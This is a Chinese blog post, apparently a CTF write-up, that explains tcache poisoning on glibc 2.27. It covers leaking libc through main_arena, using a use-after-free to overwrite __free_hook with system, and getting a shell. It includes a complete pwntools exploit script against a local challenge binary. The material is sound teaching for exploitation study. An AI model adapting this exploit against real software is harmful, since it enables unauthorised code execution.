tcache_poisoning

一种简单的堆利用方式

Posted by l0tus on 2022-12-14
Estimated Reading Time 5 Minutes
Words 1.1k In Total
Viewed Times

泄露libc

首先申请index为0-7,size为0x100x的八个chunk,第7-1号chunk在逆序free后进入tcache,第0号进入unsorted bin.
test
free完成后可以查看bin的情况,可以看到unsorted bin中的最后一位(这里只有一位),也就是第一个被free进入unsorted bin当中的chunk会指回libc中main_arena的某处地址,同时dbg可以识别出该地址相对于main_arena的偏移。由此可以计算出main_arena的起始地址,再根据glibc的结构,main_arena起始地址减去0x10就是malloc_hook的地址.
malloc_hook作为一个符号可以用来泄露libc的基址,进而获得system函数地址和free_hook地址.

改变tcache当中已存在的链表结构

根据我们free的顺序,目前tcache中存在这样一个链:
test
可以对其加以利用,利用UAF,edit函数可以直接篡改index为1的chunk的指向.使其指向free_hook:
test
这样就破坏了tcache中原本存在的链表结构,gdb中查看bins可以观察到如下情况:
test
可见dbg识别出了free_hook,而且出现了一个比较有趣的画面:tcache_count的值保留着原先的数量,但实际数量只有两个chunk.
这里涉及到malloc.c的源码当中tcache对于count的检查,旧版本的libc对于tcache count没有检查,后版本的检查也只查是否大于零.不过进一步思考,就算后续对这个count的数量进行检查,我们也可以通过控制free的数量进行绕过.
接着我们把这两个chunk再申请出来,分别定义下标为0,1.往0号chunk中写入"/bin/sh",往1号chunk中写入system函数地址,于是有了以下两个堆块:
test
接着对0号chunk执行free操作,这里涉及到free函数源代码的实现,执行free函数时会调用__free_hook这个函数,并且先进行判断,如果该函数为空则跳过,如果不为空则执行该函数,并且将待free的对象作为执行时的参数.因此初始化时__free_hook指向NULL.
这样一来就实现了system(“/bin/sh”)拿到shell.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import*
context(log_level="debug")
context.terminal=["konsole","-e"]
p=process("./ez_heap")
elf=ELF("./ez_heap")
libc=ELF("./libc-2.27 (3).so")
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
#gdb.attach(p)

def add(idx,size):
p.sendlineafter(b"Your choice:",b'1')
p.sendlineafter(b"Idx:",str(idx).encode())
p.sendlineafter(b"Size:",str(size).encode())
def edit(idx,content):
p.sendlineafter(b"Your choice:",b'3')
p.sendlineafter(b"Idx:",str(idx).encode())
p.sendafter(b"context: ",content)
def show(idx):
p.sendlineafter(b"Your choice:",b'2')
p.sendlineafter(b"Idx:",str(idx).encode())
def delete(idx):
p.sendlineafter(b"Your choice:",b'4')
p.sendlineafter(b"Idx:",str(idx).encode())
for i in range(8):
add(i,0x100)

for i in range(8):
delete(7-i)

show(0)
p.recvuntil(b"context: ")
malloc_hook=u64(p.recv(6).ljust(8,b"\x00"))-96-0x10 #main_arena - 0x10
print(hex(malloc_hook))
libc_base=malloc_hook-libc.sym.__malloc_hook
system_addr = libc_base + libc.sym.system
free_hook = libc_base + libc.sym.__free_hook
print(hex(free_hook))
print(hex(system_addr))
#gdb.attach(p)
edit(1,p64(free_hook))
add(0,0x100)
add(1,0x100)#free_hook
edit(0,b"/bin/sh\x00")
edit(1,p64(system_addr))
delete(0)

p.interactive()

再讲一些

前文提到的unsorted bin中的最后一个chunk,也就是第一个被free进入的chunk为什么会指回main_arena中的某个位置,其实main_arena这个结构体中记录了unsorted bin,small bin,large bin三个bin的链表头。main_arena这个结构体变量的结构体本身叫做malloc_state,其源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);

/* Flags (formerly in max_fast). */
int flags;

/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next;

/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;

/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

mchunkptr bins[NBINS * 2 - 2] 这一句代码定义了一个叫bins的数组,也就是各种bin.从这里也可以看出,不止unsorted bin,small bin和fast bin也会有一样的效果。
malloc_hook的地址 = main_arena地址 - 0x10是由libc的结构决定的,可以当作一个定理。


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !